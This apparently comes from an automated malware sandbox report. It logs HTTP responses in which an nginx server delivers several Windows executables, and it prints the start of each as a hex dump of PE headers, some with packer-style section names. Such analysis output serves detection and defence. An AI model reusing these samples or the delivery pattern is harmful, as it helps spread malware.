00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:16:29 GMTContent-Type: application/octet-streamContent-Length: 245760Last-Modified: Sun, 22 Dec 2024 21:43:11 GMTConnection: keep-aliveETag: "676887ef-3c000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 02 36 68 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 46 22 00 00 00 00 00 d0 1b 02 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 25 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 66 03 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 7c 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 02 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1a 95 02 00 00 10 00 00 00 96 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ac bb 00 00 00 b0 02 00 00 bc 00 00 00 9a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 2b 21 00 00 70 03 00 00 0c 00 00 00 56 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 00 5d 00 00 00 a0 24 00 00 5e 00 00 00 62 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:16:33 GMTContent-Type: application/octet-streamContent-Length: 2790912Last-Modified: Mon, 23 Dec 2024 15:54:43 GMTConnection: keep-aliveETag: "676987c3-2a9600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 d0 4d 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4e 00 00 04 00 00 2f 52 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 75 6d 6c 77 6e 6b 77 00 00 29 00 00 c0 24 00 00 f4 28 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 77 64 70 66 61 72 6c 00 10 00 00 00 c0 4d 00 00 04 00 00 00 70 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4d 00 00 22 00 00 00 74 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:16:41 GMTContent-Type: application/octet-streamContent-Length: 3191808Last-Modified: Mon, 23 Dec 2024 15:54:53 GMTConnection: keep-aliveETag: "676987cd-30b400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 a4 47 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 a4 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 a4 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 66 69 63 65 63 78 6f 00 00 2a 00 00 b0 06 00 00 f6 29 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 69 67 6a 63 71 61 6b 00 10 00 00 00 b0 30 00 00 04 00 00 00 8e 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 30 00 00 22 00 00 00 92 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:16:54 GMTContent-Type: application/octet-streamContent-Length: 1909248Last-Modified: Mon, 23 Dec 2024 14:45:50 GMTConnection: keep-aliveETag: "6769779e-1d2200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 97 69 b8 cb d3 08 d6 98 d3 08 d6 98 d3 08 d6 98 6e 47 40 98 d2 08 d6 98 cd 5a 52 98 ce 08 d6 98 cd 5a 43 98 c7 08 d6 98 cd 5a 55 98 b8 08 d6 98 f4 ce ad 98 d6 08 d6 98 d3 08 d7 98 a0 08 d6 98 cd 5a 5c 98 d2 08 d6 98 cd 5a 42 98 d2 08 d6 98 cd 5a 47 98 d2 08 d6 98 52 69 63 68 d3 08 d6 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a8 2c b1 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 da 02 00 00 40 01 00 00 00 00 00 00 90 84 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 84 00 00 04 00 00 8e 60 1d 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5b 80 41 00 6f 00 00 00 00 d0 40 00 a0 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 0c 84 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 40 00 00 10 00 00 00 4e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 a0 ae 00 00 00 d0 40 00 00 70 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 41 00 00 02 00 00 00 ce 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 28 00 00 90 41 00 00 02 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 79 75 6b 74 78 68 6e 00 30 1a 00 00 50 6a 00 00 2a 1a 00 00 d2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 71 71 6f 70 72 6b 62 00 10 00 00 00 80 84 00 00 04 00 00 00 fc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 84 00 00 22 00 00 00 00 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:17:01 GMTContent-Type: application/octet-streamContent-Length: 4481024Last-Modified: Mon, 23 Dec 2024 15:43:39 GMTConnection: keep-aliveETag: "6769852b-446000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 07 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 49 00 00 4c 75 00 00 32 00 00 00 10 c8 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 40 c8 00 00 04 00 00 a6 20 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f b0 72 00 73 00 00 00 00 a0 72 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 fd c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 fc c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 72 00 00 10 00 00 00 34 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 72 00 00 02 00 00 00 44 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 72 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 39 00 00 c0 72 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 78 75 68 7a 6e 62 74 00 f0 1b 00 00 10 ac 00 00 f0 1b 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 77 6e 6d 73 71 71 70 00 10 00 00 00 00 c8 00 00 04 00 00 00 3a 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 c8 00 00 22 00 00 00 3e 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:17:13 GMTContent-Type: application/octet-streamContent-Length: 126976Last-Modified: Fri, 08 Nov 2024 09:03:51 GMTConnection: keep-aliveETag: "672dd3f7-1f000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c8 f9 ef 50 8c 98 81 03 8c 98 81 03 8c 98 81 03 98 f3 82 02 86 98 81 03 98 f3 84 02 05 98 81 03 98 f3 85 02 9e 98 81 03 de ed 85 02 83 98 81 03 de ed 82 02 9d 98 81 03 de ed 84 02 ad 98 81 03 98 f3 80 02 8b 98 81 03 8c 98 80 03 ed 98 81 03 40 ed 88 02 8f 98 81 03 40 ed 81 02 8d 98 81 03 40 ed 7e 03 8d 98 81 03 40 ed 83 02 8d 98 81 03 52 69 63 68 8c 98 81 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4a b8 2d 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1d 00 44 01 00 00 b4 00 00 00 00 00 00 62 70 00 00 00 10 00 00 00 60 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 d0 cc 01 00 9c 00 00 00 6c cd 01 00 50 00 00 00 00 00 02 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 f8 1a 00 00 44 bb 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 bb 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 06 43 01 00 00 10 00 00 00 44 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ea 74 00 00 00 60 01 00 00 76 00 00 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 1f 00 00 00 e0 01 00 00 14 00 00 00 be 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 00 02 00 00 02 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f8 1a 00 00 00 10 02 00 00 1c 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:17:39 GMTContent-Type: application/octet-streamContent-Length: 3083776Last-Modified: Mon, 23 Dec 2024 07:13:56 GMTConnection: keep-aliveETag: "67690db4-2f0e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 bc a2 b5 b2 dd cc e6 b2 dd cc e6 b2 dd cc e6 71 5e cf e7 bb dd cc e6 71 5e c8 e7 be dd cc e6 71 5e c9 e7 9c dd cc e6 bb a5 5f e6 bc dd cc e6 f9 a5 cd e7 bb dd cc e6 b2 dd cd e6 47 dd cc e6 41 5f cf e7 bb dd cc e6 41 5f c8 e7 b3 dd cc e6 b2 dd cc e6 b3 dd cc e6 41 5f c9 e7 8c dd cc e6 a7 59 cc e7 b3 dd cc e6 a7 59 ce e7 b3 dd cc e6 52 69 63 68 b2 dd cc e6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 a9 05 5f 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 fc 14 00 00 fa 1a 00 00 d6 12 00 60 12 06 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 43 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 10 48 40 00 5c 00 00 00 6c 48 40 00 f0 00 00 00 00 e0 42 00 62 14 00 00 00 80 41 00 b4 5c 01 00 00 00 00 00 00 00 00 00 00 00 43 00 88 06 00 00 30 94 3d 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 96 3d 00 28 00 00 00 f0 92 3d 00 40 01 00 00 00 00 00 00 00 00 00 00 00 f0 27 00 f8 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 00 18 5d 06 00 00 10 00 00 00 5e 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 00 68 9d 0e 00 00 70 06 00 00 9e 0e 00 00 62 06 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 00 08 d5 12 00 00 10 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 20 20 20 20 20 20 20 00 e2 71 18 00 00 f0 27 00 00 72 18 00 00 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 00 08 0a 01 00 00 70 40 00 00 20 00 00 00 72 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 00 b4 5c 01 00 00 80 41 00 00 5e 01 00 00 92 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 00 62 14 00 00 00 e0 42 00 00 16 00 